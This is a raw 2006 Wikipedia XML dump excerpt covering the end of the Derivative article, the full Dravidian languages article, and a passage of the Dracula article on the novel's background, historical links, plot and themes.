For example, if an object's position on a line is given by &lt;math&gt;x(t) = -16t^2 + 16t + 32&lt;/math&gt;; then, the object's velocity is &lt;math&gt;\dot x(t) = x'(t) = -32t + 16&lt;/math&gt;, and the object's acceleration is &lt;math&gt;\ddot x(t) = x''(t) = -32&lt;/math&gt;.

If the [[velocity]] of a [[automobile|car]] is given, as a function of [[time]], then, the derivative of said function with respect to time describes the [[acceleration]] of said car, as a function of time.

==Rules for finding the derivative ==
In many cases, complicated limit calculations by direct application of Newton's difference quotient can be avoided using  differentiation rules.

* ''Constant rule'': The derivative of any [[constant]] is [[0 (number)|zero]]. 
** ''Constant multiple rule'': If ''c'' is some [[real number]]; then, the derivative of &lt;math&gt;cf(x)&lt;/math&gt; equals ''c'' [[multiplication|multiplied]] by the derivative of ''f''(''x'') (a consequence of linearity below).
* ''[[Linearity of differentiation|Linearity]]'': &lt;math&gt;(af + bg)' = af' + bg'&lt;/math&gt; for all functions ''f'' and ''g'' and all real numbers ''a'' and ''b''.
* ''[[Calculus with polynomials|Power rule]]'': If &lt;math&gt;f(x) = x^r&lt;/math&gt;, for some [[real number]] ''r''; &lt;math&gt;f'(x) = rx^{r-1}&lt;/math&gt;.
* ''[[Product rule]]'':  &lt;math&gt; (fg)' = f'g + fg'&lt;/math&gt; for all functions ''f'' and ''g''. 
* ''[[Quotient rule]]'': &lt;math&gt;(f/g)' = (f'g - fg')/(g^2)&lt;/math&gt; unless ''g'' is zero.
* ''[[Chain rule]]'': If &lt;math&gt;f(x) = h(g(x))&lt;/math&gt;, then &lt;math&gt;f'(x) = h'(g(x)) g'(x)&lt;/math&gt;.
* ''[[Inverse function]]'': If the function &lt;math&gt;f(x)&lt;/math&gt;  has an inverse &lt;math&gt;g(x) = f^{-1}(x)&lt;/math&gt;, then &lt;math&gt;g'(x) = 1/f'(f^{-1}(x))&lt;/math&gt;.
* ''Derivative of one variable with respect to another when both are functions of a third variable'': Let &lt;math&gt;x = f(t)&lt;/math&gt; and &lt;math&gt;y = g(t)&lt;/math&gt;.  Now &lt;math&gt;d y/d x = (d y/d t)/(d x/d t)&lt;/math&gt;. This is the chain rule in the Leibniz notation.

In addition, the derivatives of some common functions are useful to know. See the [[table of derivatives]].

As an example, the derivative of 
:&lt;math&gt;f(x) = 2x^4 + \sin (x^2) - \ln (x)\;e^x + 7&lt;/math&gt; 
is 
:&lt;math&gt;f'(x) = 8x^3 + 2x\cos (x^2) - \frac{1}{x}\;e^x - \ln (x)\;e^x.&lt;/math&gt;

== Using derivatives to graph functions ==
Derivatives are a useful tool for examining the [[graph of a function|graphs of functions]]. In particular, the points in the interior of the domain of a real-valued function which take that function to local [[extremum|extrema]] will all have a first derivative of zero. However, not all critical points are local extrema; for example, ''f(x)=x&lt;sup&gt;3&lt;/sup&gt;'' has a critical point at ''x=0'', but it has neither a maximum nor a minimum there.  The [[first derivative test]] and the [[second derivative test]] provide ways to determine if the critical points are maxima, minima or neither.

In the case of multidimensional domains, the function will have a partial derivative of zero with respect to each dimension at local extrema.  In this case, the Second Derivative Test can still be used to characterize critical points, by considering the [[eigenvalue]]s of the [[Hessian matrix]] of second partial derivatives of the function at the critical point.  If all of the eigenvalues are positive, then the point is a local minimum; if all are negative, it is a local maximum.  If there are some positive and some negative eigenvalues, then the critical point is a [[saddle point]], and if none of these cases hold then the test is inconclusive (e.g., eigenvalues of 0 and 3).

Once the local extrema have been found, it is usually rather easy to get a rough idea of the general graph of the function, since (in the single-dimensional domain case) it will be uniformly increasing or decreasing except at critical points, and hence (assuming it is [[continuity (mathematics)|continuous]]) will have values in between its values at the critical points on either side.

== Generalizations ==
{{see details|derivative (generalizations)}}
Where a function depends on more than one variable, the concept of a '''[[partial derivative]]''' is used. Partial derivatives can be thought of informally as taking the derivative of the function with all but one variable held temporarily constant near a point. Partial derivatives are represented as &amp;part;/&amp;part;x (where &amp;part; is a rounded 'd' known as the 'partial derivative symbol'). Some people pronounce the partial derivative symbol as 'der' rather than the 'dee' used for the standard derivative symbol, 'd'.  

The concept of derivative can be extended to more general settings. The common thread is that the derivative at a point serves as a [[linear approximation]] of the function at that point. Perhaps the most natural situation is that of functions between differentiable [[manifold]]s; the derivative at a certain point then becomes a [[linear transformation]] between the corresponding [[tangent space]]s and the derivative function becomes a map between the [[tangent bundle]]s.

In order to differentiate all [[continuous function|continuous]] functions and much more, one defines the concept of [[distribution (mathematics)|distribution]]. 

For [[complex number|complex]] functions of a complex variable differentiability is a much stronger condition than that the real and [[imaginary part]] of the function are differentiable with respect to the real and imaginary part of the argument. For example, the function ''f''(''x''&amp;nbsp;+&amp;nbsp;''iy'')&amp;nbsp;= ''x''&amp;nbsp;+&amp;nbsp;2''iy'' satisfies the latter, but not the first. See also the article on [[holomorphic function]]s.

== See also ==

* [[Derivative (examples)]]
* [[Derivative (generalizations)]]
* [[Partial derivative]]
* [[Total derivative]]
* [[Table of derivatives]]
* [[Smooth function]]
* [[Differintegral]]
* [[Automatic differentiation]]

==External links==

* [http://wims.unice.fr/wims/wims.cgi?module=tool/analysis/function.en WIMS Function Calculator] makes online calculation of derivatives; this software also enables interactive exercises.

==References==
*Spivak, Michael; ''Calculus'' (3rd edition, 1994) Publish or Perish Press. ISBN 0914098896. Explains why all this works.   
*Thompson, Silvanus Phillips, ''Calculus made easy : being a very-simplest introduction to those beautiful methods of reckoning which are generally called by the terrifying names of the differential calculus and the integral calculus'' New York : St. Martin's Press, 1998 ISBN 0312185480. Introduced by [[Martin Gardner]]. &quot;What one fool can do, another can.&quot; 

* Larson, Ron; Hostetler, Robert P.; and Edwards, Bruce H. (2003). ''Calculus of a Single Variable: Early Transcendental Functions'' (3rd edition). Houghton Mifflin Company. ISBN 061822307X.

* Anton, Howard (1980). ''Calculus with analytical [[geometry]].''.  New York:John Wiley and Sons. ISBN 0-471-03248-4.

[[Category:Differential calculus|*]]

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    </revision>
  </page>
  <page>
    <title>Dravidian languages</title>
    <id>7922</id>
    <revision>
      <id>41139525</id>
      <timestamp>2006-02-25T07:50:37Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <comment>not relavant</comment>
      <text xml:space="preserve">The '''Dravidian''' [[Language families and languages|family of languages]] includes approximately 26 languages that are mainly spoken in [[South India|southern India]] and [[Sri Lanka]], as well as certain areas in [[Pakistan]], [[Nepal]], and eastern and central [[India]], as well as in parts of [[Afghanistan]] and [[Iran]].
Dravidian languages are spoken by more than 200 million people, and they appear to be unrelated to languages of other known families. A few scholars include the Dravidian languages in a larger [[Elamo-Dravidian language family]], which includes the ancient [[Elamite language]] of what is now southwestern Iran; but this is not accepted by most of the Dravidianists.

==History==

The origins of the Dravidian languages, as well as their subsequent development and the period of their differentiation, are unclear, and the situation is not helped by the lack of [[comparative linguistics|comparative linguistic]] research into the Dravidian languages.  There are striking similarities between the Dravidian and [[Uralic languages|Uralic]] and [[Altaic languages|Altaic]] language groups, which suggest prolonged contact between the language families at some stage although a common origin appears unlikely.  Inconclusive attempts have also been made to link the family with the [[Japonic languages]], [[Basque language|Basque]], [[Korean language|Korean]], [[Sumerian language|Sumerian]], the [[Australian Aboriginal languages]] and the relatively unknown language of the [[Indus valley civilisation]].

Legends common to many Dravidian-speaking groups speak of their origin in a vast, now-sunken continent far to the south.  Many linguists, however, tend to favour the theory that speakers of Dravidian languages spread southwards and eastwards through the [[Indian subcontinent]], based on the fact that the southern Dravidian languages show some signs of contact with linguistic groups which the northern Dravidian languages do not.  [[Proto-Dravidian]] is thought to have differentiated into Proto-North Dravidian, Proto-Central Dravidian and Proto-South Dravidian around 1500 BC, although some linguists have argued that the degree of differentiation between the sub-families points to an earlier split.

The existence of the Dravidian language family was first suggested in [[1816]] by [[Alexander D. Campbell]] in his ''Grammar of the Teloogoo Language'', in which he and [[Francis W. Ellis]] argued that [[Tamil language|Tamil]] and [[Telugu language|Telugu]] were descended from a common, non-Indo-European ancestor. However, it was not until [[1856]] that [[Robert Caldwell]] published his ''Comparative grammar of the Dravidian or South-Indian family of languages'', which considerably expanded the Dravidian umbrella and established it as one of the major language groups of the world. Caldwell coined the term &quot;Dravidian&quot; from the [[Sanskrit]] ''dr&amp;#257;vida'', which was used in a 7th century text to refer to the languages of the south of India. The publication of the ''[[Dravidian etymological dictionary]]'' by [[T. Burrow]] and [[M. B. Emeneau]] was a landmark event in Dravidian linguistics.

==List of Dravidian languages==
[[List of national languages of India|National languages of India]] are in '''boldface''':
===Southern===
* '''[[Tamil language|Tamil]]'''
* '''[[Kannada language|Kannada]]'''
* '''[[Malayalam language|Malayalam]]'''
* [[Tulu language|Tulu]]
* [[Bellari language|Bellari]]
* [[Toda language|Toda]]
* [[Kota language|Kota]]
* [[Koraga]]
* [[Badaga language|Badaga]]
* [[Kurumba]]
* [[Irula]]
* [[Kodava Takk]] ([[Kodagu]])

===South Central===
* '''[[Telugu language|Telugu]]'''
* [[Gondi language|Gondi]]
* [[Abujmaria language|Abujmaria]]
* [[Koya language|Koya]]
* [[Konda]]
* [[Manda language|Manda]]
* [[Pengo language|Pengo]]
* [[Kui language|Kui]]
* [[Kuvi]]

===Central===
* [[Kolami language|Kolami]]
* [[Naiki]]
* [[Parji]]
* [[Gadaba]]

===Northern===
*[[Brahui language|Brahui]] (the only Dravidian language not spoken in India, Sri Lanka, or Nepal; it is spoken in [[Balochistan|Baluchistan]] in Pakistan)
*[[Kurukh language|Kurukh]]
*[[Malto language|Malto]]


==Grammar==

Dravidian languages are [[agglutinative]] and exhibit the [[inclusive and exclusive we]] feature.

==Phonology==
Dravidian languages are noted for the lack of distinction between aspirated and unaspirated stops. While some Dravidian languages (especially Malayalam, Kannada and Telugu) have large numbers of loan words from [[Sanskrit]] and other [[Indo-European languages]], which do make distinctions in voice and [[aspiration (phonetics)|aspiration]], the words are often mispronounced by monolingual Dravidian speakers.

For instance, Tamil, like [[Finnish language|Finnish]], does not distinguish between voiced and unvoiced stops. In fact, the [[Tamil alphabet]] lacks symbols for voiced and aspirated stops.

Dravidian languages are also characterized by a three-way distinction between [[dental]], [[Alveolar consonant|alveolar]], and [[retroflex]] places of articulation as well as large numbers of [[Liquid consonant|liquids]].

===Reversal property===
Words in Dravidian languages have the property that, by reversing the consonants and applying a well defined set of transformations of the vowels, another word with a similar meaning is obtained. Over time, one form may represent the general case and the other end up representing a special case.

For example: 
*Erasu (gather) and sEru (join) 
*kaNu (look) and iNuku (peep)
*atta (attic) reverses to itself.

===Words starting with vowels===
A substantial number of words also begin and end with vowels, which helps the languages' agglutinative property.

aLu (cry), elumbu (bone), adu (that), alli (there), idu (this), illai (no, absent)

adu-idil-illai (that-this-in-absent = that is absent in this)

===Numbers===
The numbers from 1 to 10 in various Dravidian languages.

{| style=&quot;border-collapse:collapse&quot; border=&quot;1&quot; cellpadding=&quot;3&quot;
|-
! Number
! [[Telugu language|Telugu]]
! [[Tamil language|Tamil]]
! [[Kannada language|Kannada]]
! [[Malayalam language|Malayalam]]
! [[Kurukh language|Kurukh]]
! [[Kolami language|Kolami]]
! [[Brahui language|Brahui]]
! Proto-Dravidian
|-
| 1
| okaTi
| onRu
| ondu
| onnu
| onta
| okkod
| asit
| *oru 	
|-
| 2
| reNDu
| irandu
| yeradu
| randu
| emr
| iral
| irut 
| *iru 	
|-
| 3
| muuDu
| moondRu
| mooru
| moonu
| mund
| muyal
| musit
| *muC 	
|-
| 4
| naalugu
| naangu
| naalku
| naalu
| nakh
| nallav
| char [[Indo-European|(IE)]]
| *na:l 
|-
| 5
| aidu
| aindhu
| aidu
| anju
| pance [[Indo-European|(IE)]]
| seyyav
| panch [[Indo-European|(IE)]]
| *cayN
|-
| 6
| aaRu
| aaRu
| aaru
| aaru
| soyye [[Indo-European|(IE)]]
| saa [[Indo-European|(IE)]]
| shash [[Indo-European|(IE)]]
| *caru 
|-
| 7
| YEDu
| Ezhu
| yElu
| Ezhu
| satte [[Indo-European|(IE)]]
| sat [[Indo-European|(IE)]]
| haft [[Indo-European|(IE)]]
| *eru
|-
| 8
| enimidi
| ettu
| yentu
| ettu
| atthe [[Indo-European|(IE)]]
| at [[Indo-European|(IE)]]
| hasht [[Indo-European|(IE)]]
| *ettu	
|-
| 9
| tommidi
| onbadhu
| ombathu
| onpathu
| naimye [[Indo-European|(IE)]]
| nov [[Indo-European|(IE)]]
| no [[Indo-European|(IE)]]
| *tol
|-
| 10
| padi
| patthu
| hathu
| pathhu
| dasse [[Indo-European|(IE)]]
| daa [[Indo-European|(IE)]]
| dah [[Indo-European|(IE)]]
| *pat(tu) 
|}

Reference: http://www.zompist.com/euro.htm

=== Sanskrit influence ===
[[Kannada language|Kannada]], [[Malayalam language|Malayalam]] and [[Telugu language|Telugu]] have been relatively more influenced by the [[Indo-European languages|Indo-European]] language [[Sanskrit]] and have borrowed the aspirated consonants. Sanskrit words and derivatives are common in Kannada, Malayalam and Telugu. [[Tamil language|Tamil]] is the least influenced and retains the closest form of the Proto-Dravidian language.

==References==
* ''The Dravidian Languages'' / by Bhadriraju Krishnamurti / Cambridge University Press, 2003. ISBN 0521771110
* ''A comparative grammar of the Dravidian or South-Indian family of languages'' / by Robert Caldwell. 3rd ed. rev. and edited / by J.L. Wyatt, T. Ramakrishna Pillai. New Delhi : Asian Educational Services, 1998. ISBN 8120601173
* ''A grammar of the Teloogoo language, commonly termed the Gentoo, peculiar to the Hindoos inhabiting the northeastern provinces of the Indian peninsula'' / by A.D. Campbell. 3d ed. Madras, Printed at the Hindu Press, 1849

==External links==

* [http://dsal.uchicago.edu/dictionaries/burrow/index.html Dravidian Etymological Dictionary]. The complete dravidian etymological dictionary in a searchable online form.
* [http://www.ethnologue.com/show_family.asp?subid=90422 Dravidian languages page in SIL Ethnologue].
* [http://www.geocities.com/Athens/Forum/4737/dravid1.html Dravidian vs. Finnish] A tract which claims to draw a relation between Dravidian and [[Finno-Ugric languages]].
* [http://www.datanumeric.com/dravidian/ Discovery of Dravidian as the source of Indo-European Languages]. A paper claiming that Proto-Dravidian is the common ancestor of Indo-European languages.
* [http://www.verbix.com/documents/etruscan-dravidian.htm Dravidian from Etruscan] Paper claiming a relationship between Dravidian and Etruscan.
* [http://www.atlan.org/articles/dravida/ Dravidian origin of the Guanches]. A paper claiming a Dravidian origin for the language of the Guanches.
* [http://arutkural.tripod.com/tolcampus/jap-tamil.htm Tamil and Japanese]
* http://www.brahui.tk A site by Shafique-Ur-Rehman, Its all about Brahui People live mostly in Balochistan, Pakistan.

[[Category:Agglutinative languages]]
[[Category:Dravidian languages|*]]
[[Category:Languages of Asia]]

[[ast:Llinguas dravídicas]]
[[da:Dravidiske sprog]]
[[de:Dravidische Sprachen]]
[[es:Lenguas drávidas]]
[[eo:Dravida lingvaro]]
[[fr:Langue dravidienne]]
[[id:Bahasa Dravida]]
[[kn:ದ್ರಾವಿಡ ಭಾಷೆಗಳು]]
[[lt:Dravidų kalbos]]
[[hu:Dravida nyelvcsalád]]
[[nl:Dravidische talen]]
[[nds:Dravidsche Spraken]]
[[ja:ドラヴィダ語族]]
[[nn:Dravidiske språk]]
[[no:Dravidiske språk]]
[[pl:Języki drawidyjskie]]
[[pt:Línguas dravídicas]]
[[ru:Дравидийские языки]]
[[sk:Drávidské jazyky]]
[[fi:Dravidakielet]]
[[sv:Dravidiska språk]]
[[ta:திராவிட மொழிக்குடும்பம்]]
[[zh:德拉维达语系]]</text>
    </revision>
  </page>
  <page>
    <title>Dracula</title>
    <id>7923</id>
    <revision>
      <id>42159805</id>
      <timestamp>2006-03-04T05:25:29Z</timestamp>
      <contributor>
        <ip>172.144.93.220</ip>
      </contributor>
      <comment>/* Popular culture */</comment>
      <text xml:space="preserve">:''For the historical figure, see [[Vlad III Dracula]].  For the orchid, see [[Dracula (orchid)]].''
[[Image:Dracula Stamp.jpg|thumb|[[Bela Lugosi]] as Dracula; U.S. postage stamp first issued in 1997 as part of a series celebrating &quot;Famous Movie Monsters&quot;]]
'''''Dracula''''' (1897) is a novel by [[Ireland|Irish]] author [[Bram Stoker]], and the name of the world's most famous [[vampire]] character.

''Dracula'' has been attributed to many [[literary genre]]s including [[horror fiction]], the [[gothic novel]] and [[invasion literature]]. Structurally it is an [[epistolary novel]], that is, told as a series of [[diary]] entries and letters. [[Literary criticism|Literary critics]] have examined many themes in the novel, such as the role of women in Victorian culture, sexuality, immigration and folklore. Although Stoker did not invent the vampire, the novel's influence on the popularity of vampires has been singularly responsible for scores of theatrical and movie interpretations throughout the 20th century.

==Novel background==
Between 1878 and 1898 Stoker managed the world-famous London [[Lyceum Theatre]], where he supplemented his income by writing a large number of sensational novels, his most famous being the vampire tale ''[[Dracula]]'' published in [[1897]]. Parts of it are set around the town of [[Whitby]], where he was living at the time. While ''Dracula'' is famous today (due in large part to its 20th century life on film), it was not an important or famous work for Victorian readers, being just another pot-boiler adventure among many. Throughout the 1880s and 1890s authors such as [[H. Rider Haggard]], [[Rudyard Kipling]], [[Robert Louis Stevenson]] and [[H.G. Wells]] wrote many tales in which fantastic creatures threaten the British Empire. [[Invasion literature]] was at a peak, and Stoker's formula of an invasion of England by continental European influences was by 1897 very familiar to readers of fantastic adventure stories.

[[Image:Henry Irving portrait.jpg|thumb|right|250px|Shakespearian actor and friend of Stoker's, [[Henry Irving]] was a real-life inspiration for the character of Dracula, tailor-made to his dramatic presence, gentlemanly mannerisms and specialty playing villain roles. Irving however never agreed to play the part on stage.]]

Before writing ''Dracula'', Stoker spent seven years researching European folklore and stories of vampires, being most influenced by [[Emily Gerard]]'s 1885 essay &quot;Transylvania Superstitions&quot;. Though it is the most famous vampire novel ever, ''Dracula'' was not the first.  It was preceded and partially inspired by [[J. Sheridan Le Fanu|Sheridan Le Fanu]]'s 1871 ''[[Carmilla]]'', about a [[lesbian vampire]] who preys upon a lonely young woman. The image of a vampire portrayed as an aristocratic man, like the character of Dracula, was created by [[John Polidori]] in [[The Vampyre]] (1819), during the summer spent with [[Frankenstein]] creator [[Mary Shelley]] and other friends in [[1816]]. Polidori is many times credited as the creator of the vampire genre in fiction, but his vampire story was inspired by elements of [[Lord Byron]]'s vampire poem, [[The Giaour]] (1813).

The Lyceum Theatre where Stoker worked between 1878 and 1898 was headed by the tyrannical actor-manager [[Henry Irving]], who was Stoker's real-life inspiration for the mannerisms of Dracula, and who Stoker hoped would play Dracula in a stage version. Although Irving never did agree to do a stage version, Dracula's dramatic sweeping gestures and gentlemanly mannerisms drew their living embodiment from Irving.

''The Dead Un-Dead'' was one of Stoker's original titles for ''Dracula'', and up until a few weeks before publication, the manuscript was titled simply ''The Un-Dead''. The name of Stoker's count was originally going to be Count Vampyre, but while doing research Stoker ran across an intriguing word in the Romanian language: &quot;Dracul&quot;, meaning &quot;Devil&quot;.  There was also a historic figure known as Prince Vlad Dracula ([[Vlad the Impaler]]), but whether or not Stoker based his character on him remains debatable (see &quot;Historical connections&quot; below).

''Dracula'' is an [[epistolary novel]], written as collection of diary entries, telegrams, and letters from the characters, as well as fictional clippings from the Whitby and London newspapers.  This literary style, made most famous by one of the most popular novels of the 19th century, ''[[The Woman in White]]'' (1860), was considered rather old-fashioned by the time of the publication of ''Dracula'', but it adds a sense of realism and provides the reader with the perspective of most of the major characters.

''Dracula'' has been the basis for countless [[film]]s and plays. Three of the most famous are ''[[Nosferatu]]'' (1922), ''Dracula'' (1931), and ''[[Bram Stoker's Dracula]]'' (1992). ''Nosferatu'' was produced while Stoker's widow was still alive, and the filmmakers were forced to change the setting and the names of the characters for copyright reasons.  The vampire in ''Nosferatu'' is called Count Orlok rather than Count Dracula. ''Bram Stoker's Dracula'', while closer to the novel's plot than most movies produced earlier (or since), reimagines the Count as a tragic figure instead of a monster. It adds an opening sequence that focuses on the Count's Romanian background, and inserts a new romantic subplot into the story.

Stoker wrote several other novels dealing with horror and supernatural themes, but none achieved the lasting fame or success of ''Dracula''.  His other novels include ''[[The Snake's Pass]]'' ([[1890]]), ''[[The Jewel of Seven Stars]]'' ([[1903]]), and ''[[The Lair of the White Worm]]'' (1911).

==Historical connections==
Although ''Dracula'' is a work of fiction, it does contain some historical references. The historical connections with the novel and how much Stoker really knew about the history is a matter of conjecture and debate.

Following the publication of ''In Search of Dracula'' by [[Radu Florescu]] and [[Raymond McNally]] in [[1972]], the supposed connections between the historical [[Vlad III Dracula]] and Bram Stoker's fictional Dracula attracted popular attention. During the six-year reign of Vlad III ([[1456]]&amp;ndash;[[1462]]), &quot;Vlad the Impaler&quot; is said to have killed from 20,000 to 40,000 European civilians (political rivals, criminals, and anyone else he considered &quot;useless to humanity&quot;), mainly by using his favourite method of impaling them on a sharp pole. (It should be noted, however, that the main source of Romanian history from this time is records by [[Germany|German]] settlers in neighboring [[Hungary]], who had frequent clashes with Vlad for political and economical reasons, and may be somewhat biased.) Vlad is revered as a folk hero by [[Romania|Romanians]] for driving off invading Turks with his brutal tactics; his impaled victims are said to have included as many as 100,000 [[Ottoman Empire|Turkish]] [[Islam|Muslims]].

Historically, the name &quot;Dracula&quot; is derived from a secret fraternal order of knights called the [[Order of the Dragon]], founded by [[Sigismund of Luxembourg|King Sigismund of Hungary]] (who became the [[Holy Roman Emperor]] in [[1410]]) to uphold [[Christianity]] and defend the Empire against the [[Ottoman Empire|Ottoman Turks]]. [[Vlad II Dracul]], father of Vlad III, was admitted to the Order around [[1431]] because of his bravery in fighting the Turks. From 1431 onward Vlad II wore the emblem of the order and later, as ruler of Wallachia, his [[coinage]] bore the dragon symbol. The word &quot;Dracula&quot; translates as both &quot;dragon&quot; and &quot;devil&quot; in the Romanian language. In Romanian the ending ''ulea'' meant &quot;the son of&quot;. Vlad III thus became Vlad ''Draculea'', &quot;The Son of the Dragon&quot;. 

Certainly Stoker did find the name Dracula in his reading on [[Romanian history]]. This became a replacement for the name ''Count Wampyr'', which he had intended to use for his villain. Recently, however, many Dracula scholars led by Elizabeth Miller have questioned the connection's depth. It now seems likely that Stoker knew little of Vlad himself, other than the name Dracula by which he called himself. Certainly the sections of the novel in which Dracula recounts his history are garbled rephrasings of the one work Stoker's notes show he did consult on Romanian history (which gives few details on Vlad's reign, and does not mention his use of impalement). Most importantly, given Stoker's meticulous use of historical background to make it more horrific, it seems unlikely he would have failed to mention that his villain Dracula had impaled thousands of people if he had actually known much of Vlad's background. Nor is Dracula ever called &quot;Vlad&quot; in the novel. Furthermore in the novel Dracula claims to be a [[Székely|Szekler]] (''Székely'' in Hungarian) - &quot;We Szekelys have a right to be proud...&quot; - whereas Vlad is clearly an ethnic [[Vlachs|Vlach]].  Finally, no one compared Vlad to a vampire in his lifetime (Being a descendant of the [[Dacian]] &quot;Wolf People&quot; who was sometimes called a &quot;Great [[Berserker]]&quot; by the Germans, it is possible that some associated him with [[lycanthropy]]).

In writing ''Dracula'', Stoker may also have drawn upon stories about the [[sídhe]] &amp;mdash; some of which feature blood-drinking women &amp;mdash; and the Dracula legend as he created it and as it has been portrayed in films and television shows ever since may be a compound of various influences; many of Stoker's biographers and literary critics have found strong similarities to an earlier Irish writer, [[Sheridan le Fanu]]'s, classic of the vampire genre, ''[[Carmilla]]''.

Some have claimed the castle of Count Dracula was inspired by [[Slains Castle]], at which Bram Stoker was a guest of the 19th [[Earl of Erroll]]. However, as Stoker visited the castle in [[1895]], five years after work on Dracula had started there is unlikely to be much connection. Many of the scenes in [[Whitby]] and [[London]] are based on real places which Stoker frequently visited himself, although in some cases he misrepresents the geography for the sake of the plot.

It has been suggested that Stoker received much historical information from [[Arminus Vambery]], a [[Hungary|Hungarian]] professor he met at least twice. Miller argues that &quot;there is nothing to indicate that the conversation included Vlad, [[vampire]]s, or even [[Transylvania]]&quot; and that &quot;Furthermore, there is no record of any other correspondence between Stoker and Vambery, nor is Vambery mentioned in Stoker's notes for Dracula.&quot; [http://www.ucs.mun.ca/~emiller/kalo.htm]

==Plot==
{{spoiler}}

The story begins when Jonathan Harker, an English [[solicitor]], is invited to the [[Count]]'s crumbling, remote [[castle]] (situated in the [[Carpathian Mountains]], on the border of [[Transylvania]] and [[Moldavia]]), to provide legal support for a [[real estate]] transaction on behalf of Harker's employer in London; at first seduced by the Counts gracious manner, he soon discovers he has become a ''de facto'' prisoner and begins to see disquieting facets of the Count's daily life. Searching for a way out of the castle one night, he falls under the spell of three wanton female vampires, but is saved at the last minute by the Count who wants to retain Harker as a friend to teach him about London, where the Count plans to travel among the &quot;teeming millions&quot;. Harker eventually barely escapes with his life from the castle.

[[Image:Dracula1st.jpeg|thumb|'''Dracula''' by [[Bram Stoker]], 1st edition cover, [[Archibald Constable and Company]], ''1897'']]

Not long afterward, a [[Russia]]n ship runs aground during a fierce [[tempest]], on the shores of [[Whitby]], a coastal town in [[England]].  All passengers and crew are dead. A huge [[dog]] or [[wolf]] is seen running from the ship, which contains nothing but boxes of dirt from Transylvania: Count Dracula, in his animal form, has arrived in England.

Soon the Count is menacing Harker's devoted fiancée, [[Mina Harker|Wilhelmina &quot;Mina&quot; Murray]], and her vivacious friend, [[Lucy Westenra]]. Lucy receives three [[marriage]] proposals in one day, from Arthur Holmwood (Lord Godalming); an [[United States|American]] cowboy named Quincey Morris who always carries a [[bowie knife]]; and an [[lunatic asylum|asylum]] [[psychiatrist]], Dr. John Seward. There is a notable encounter between Dracula and Seward's patient [[Renfield]], an insane man who means to consume [[insect]]s, [[spider]]s, and [[bird]]s, and other creatures &amp;mdash; in ascending order of size &amp;mdash; in order to absorb their &quot;life force&quot;. Renfield acts as a kind of motion sensor, detecting the proximity of Dracula and releasing clues accordingly.

Lucy begins to waste away suspiciously. All of her suitors fret; Seward calls in his old teacher, Professor [[Abraham Van Helsing]] from [[Amsterdam]]. Van Helsing immediately determines the cause of Lucy's condition, but refuses to disclose it, knowing that Seward's faith in him will be shaken if he starts spouting off about vampires. Van Helsing tries multiple [[blood transfusion]]s, but they are clearly losing ground. On a night when Van Helsing must return to Amsterdam (and his message to Seward asking him to watch the Westenra household is accidentally sent to the wrong address), Lucy and her mother are attacked in the night by a [[wolf]]. Mrs Westenra, who has a heart condition, dies of fright, and Lucy herself apparently dies soon after.
&lt;!-- The wolf is a real wolf, which Dracula breaks out of London Zoo for backup; the narrative includes a press clipping about the wolf's mysterious escape and subsequent return. Is this worth mentioning in the plot summary? - See Talk: page --&gt;

Lucy is buried, but soon afterward the newspapers report a &quot;bloofer lady&quot; (sometimes explained as &quot;beautiful lady&quot;) stalking children in the night. Van Helsing, knowing that this means Lucy has become a vampire, confides in Seward, Arthur, and Morris. The suitors and Van Helsing track her down, and after a disturbing confrontation between her vampiric self and Arthur, they stake her heart and [[decapitation|behead]] her. 

Around the same time, Jonathan Harker arrives home from Transylvania (Mina joined him there after his escape from the castle); he and Mina also join the coalition, who now turn their attentions to dealing with Dracula himself.

After Dracula learns of Van Helsing and the others' plot against him, he takes revenge by visiting -- and biting -- Mina at least three times. Dracula also feeds Mina his blood, creating a mind bond between them, and aiming to control her. The only way to forestall this is to kill Dracula first and the rest of the novel deals with the main characters trying to achieve this. Mina slowly succumbs to the blood of the vampire that flows through her veins, switching back and forth from a state of consciousness to a state of semi-trance during which she is telepathically connected with Dracula. Mina uses this connection to track Dracula's movements. 

Dracula flees back to his castle in Transylvania, followed by Van Helsing's gang, who manage to track him down just before sundown and kill him by &quot;shearing through the kneck&quot; and stabbing him in the heart with a bowie knife. Dracula crumbles to dust, his spell is lifted and Mina freed from the marks. Quincey Morris is killed in the final battle, and the survivors return to England.

The book closes with a note about Mina's and Jonathan's married life and the birth of their first-born son, whom they name Quincey in remembrance of their American friend.

==Analysis==
The novel is narrated by multiple voices &amp;mdash; Jonathan's journal of his trip to Transylvania, Mina's diary, and Seward's recorded journal, as well as letters and newspaper items. Although somewhat crude and certainly sensational, the novel also does have psychological power, and the sexual longings underlying the vampire attacks are manifest. 

Despite its important contributions to vampire fiction, several popular traits of fictional vampires are absent. Count Dracula is killed by knives, not a wooden stake. The destruction of the vampire Lucy is a three-part process (staking, [[decapitation]], and [[garlic]] in the mouth), not the simple stake-only procedure often found in later vampire stories. Dracula has the ability to travel as a mist and to scale the external walls of his castle. One very famous trait Stoker added is the inability to be seen in mirrors, which is not something found in traditional Eastern European [[folklore]]. 

It is also notable in the novel that Dracula can walk about in the daylight, in bright sunshine, though apparently without the ability to use most of his powers, like turning into mist or a bat. He is still strong and fast enough to struggle with and escape from most of his male pursuers, in a scene in the book. Traditional vampire folklore does not usually hold that sunlight is fatal to vampires though they are [[nocturnal]]. It is only with the film ''[[Nosferatu]]'' that the daylight is first depicted as deadly to vampires.

Modern analysts have detected in ''Dracula'' a strong sexual component. As one critic wrote:

::''What has become clearer and clearer, particularly in the ''fin de siècle'' years of the twentieth century, is that the novel's power has its source in the sexual implications of the blood exchange between the vampire and his victims...''Dracula'' has embedded in it a very disturbing psychosexual allegory whose meaning I am not sure Stoker entirely understood: that there is a demonic force at work in the world whose intent is to eroticize women. In ''Dracula'' we see how that force transforms Lucy Westenra, a beautiful nineteen-year-old virgin, into a shameless slut.'' (Leonard Wolf, &quot;Introduction&quot; to the Signet Classic Edition, 1992).

''Dracula'' may also be viewed as a novel about the struggle between tradition and modernity at the [[fin de siècle]]. Throughout, there are various references to changing [[gender]] roles; Mina Harker is a thoroughly modern woman, as she uses (then) modern technologies such as the [[typewriter]], but she still embodies a traditional gender role as an assistant school mistress. 

Stoker's novel also deals in general with the conflict between the world of the past &amp;mdash; full of folklore, myth, legend, and religious piety &amp;mdash; and the emerging modern world of technology, logical positivism, and secularism. 

